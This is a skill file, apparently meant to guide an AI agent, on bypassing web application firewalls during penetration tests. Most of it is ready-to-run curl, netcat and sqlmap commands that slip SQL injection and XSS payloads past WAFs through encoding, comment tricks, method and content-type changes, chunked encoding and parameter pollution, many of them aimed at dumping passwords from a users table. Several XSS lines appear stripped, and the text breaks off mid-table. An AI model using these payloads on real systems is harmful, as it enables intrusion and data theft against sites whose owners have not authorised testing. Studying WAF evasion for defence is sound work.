--- name: performing-web-application-firewall-bypass description: Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance. domain: cybersecurity subdomain: web-application-security tags: - waf-bypass - waf-evasion - sql-injection - xss - payload-obfuscation - encoding-bypass - web-security version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 mitre_attack: - T1190 - T1059.007 - T1505.003 - T1083 - T1027 --- # Performing Web Application Firewall Bypass ## When to Use - When confirmed vulnerabilities are blocked by WAF signature-based detection - During penetration testing where WAF prevents exploitation of known issues - When evaluating WAF rule effectiveness against evasion techniques - During red team engagements requiring bypass of perimeter security controls - When testing custom WAF rules for completeness and bypass resistance ## Prerequisites - Burp Suite Professional with SQLMap integration - wafw00f for WAF fingerprinting and identification - SQLMap with tamper scripts for automated WAF bypass - Understanding of WAF detection mechanisms (signature, regex, behavioral) - Collection of encoding and obfuscation techniques per attack type - Knowledge of HTTP protocol nuances exploitable for evasion ## Workflow ### Step 1 — Identify and Fingerprint the WAF ```bash # Detect WAF using wafw00f wafw00f http://target.com # Manual WAF detection via response headers curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai" # Trigger WAF with known bad payload and analyze response curl "http://target.com/page?id=1' OR 1=1--" -v # Look for: 403 Forbidden, custom block page, CAPTCHA challenge # Common WAF indicators: # Cloudflare: cf-ray header, __cfduid cookie # AWS WAF: x-amzn-requestid # ModSecurity: Mod_Security or OWASP CRS error messages # Akamai: AkamaiGHost header # Imperva: incap_ses cookie, visid_incap cookie ``` ### Step 2 — Bypass with Encoding and Obfuscation ```bash # URL encoding bypass curl "http://target.com/page?id=1%27%20OR%201%3D1--" # Double URL encoding curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--" # Unicode encoding curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--" # HTML entity encoding in body curl -X POST http://target.com/search \ -d "q=" # Mixed case SQL keywords curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--" # Inline comments between SQL keywords curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--" # MySQL version-specific comments curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--" # Null bytes curl "http://target.com/page?id=1'%00 OR 1=1--" # Tab and newline substitution for spaces curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--" ``` ### Step 3 — Bypass with HTTP Method and Protocol Tricks ```bash # Change HTTP method (WAFs may only inspect GET/POST) curl -X PUT "http://target.com/page?id=1' OR 1=1--" curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--" # Use HTTP/0.9 (no headers) printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80 # Content-Type manipulation curl -X POST http://target.com/page \ -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \ -d "id=1' OR 1=1--" # Multipart form data (may bypass body inspection) curl -X POST http://target.com/page \ -F "id=1' OR 1=1--" # Chunked Transfer-Encoding printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80 # Parameter in unusual locations curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--" curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--" ``` ### Step 4 — Bypass with Payload Splitting and HPP ```bash # HTTP Parameter Pollution curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--" # Split payload across parameters curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--" # JSON-based SQLi (many WAFs miss JSON payloads) curl -X POST http://target.com/api/query \ -H "Content-Type: application/json" \ -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}' # JSON SQL injection with operators curl -X POST http://target.com/api/search \ -H "Content-Type: application/json" \ -d '{"query": {"$gt":"", "$where":"1==1"}}' # XML-wrapped payloads curl -X POST http://target.com/api/data \ -H "Content-Type: application/xml" \ -d "1' UNION SELECT password FROM users--" ``` ### Step 5 — Use SQLMap Tamper Scripts ```bash # SQLMap with built-in tamper scripts sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment # Common tamper scripts for WAF bypass: sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash sqlmap -u "http://target.com/page?id=1" --tamper=percentage sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between # Multiple tamper scripts combined sqlmap -u "http://target.com/page?id=1" \ --tamper=randomcase,space2comment,between,charunicodeencode \ --random-agent --level 5 --risk 3 # Custom WAF bypass profile sqlmap -u "http://target.com/page?id=1" \ --tamper=space2comment,randomcase \ --delay=2 --random-agent \ --technique=B --batch ``` ### Step 6 — XSS WAF Bypass Techniques ```bash # Case variation curl "http://target.com/page?q=" # Event handler alternatives curl "http://target.com/page?q=

" curl "http://target.com/page?q=" curl "http://target.com/page?q=" # JavaScript URI scheme curl "http://target.com/page?q=click" # Template literal syntax curl "http://target.com/page?q=" # Concatenation-based bypass curl "http://target.com/page?q=" # HTML encoding within attributes curl "http://target.com/page?q=

" # Double encoding curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E" ``` ## Key Concepts | Concept | Description | |---------|-------------| | Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns | | Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters | | Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) | | Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules | | Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect | | Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection | | Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) | ## Tools & Systems | Tool | Purpose | |------|---------| | wafw00f | WAF fingerprinting and identification | | SQLMap | Automated SQL injection with WAF bypass tamper scripts | | waf-bypass.com | Community-maintained WAF bypass payload database | | Awesome-WAF | Curated GitHub repository of WAF bypass techniques | | Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis | | XSStrike | XSS scanner with WAF detection and bypass capabilities | ## Common Scenarios 1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules 2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules 3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF 4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching 5. **Method Override** — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect ## Output Format ``` ## WAF Bypass Assessment Report - **Target**: http://target.com - **WAF Identified**: Cloudflare (via cf-ray header) - **Bypass Achieved**: Yes ### WAF Detection Results | Payload Type | Blocked | Bypass Found | |-------------|---------|-------------| | Basic SQLi | Yes | Yes (JSON encoding) | | UNION SELECT | Yes | Yes (inline comments) | | XSS |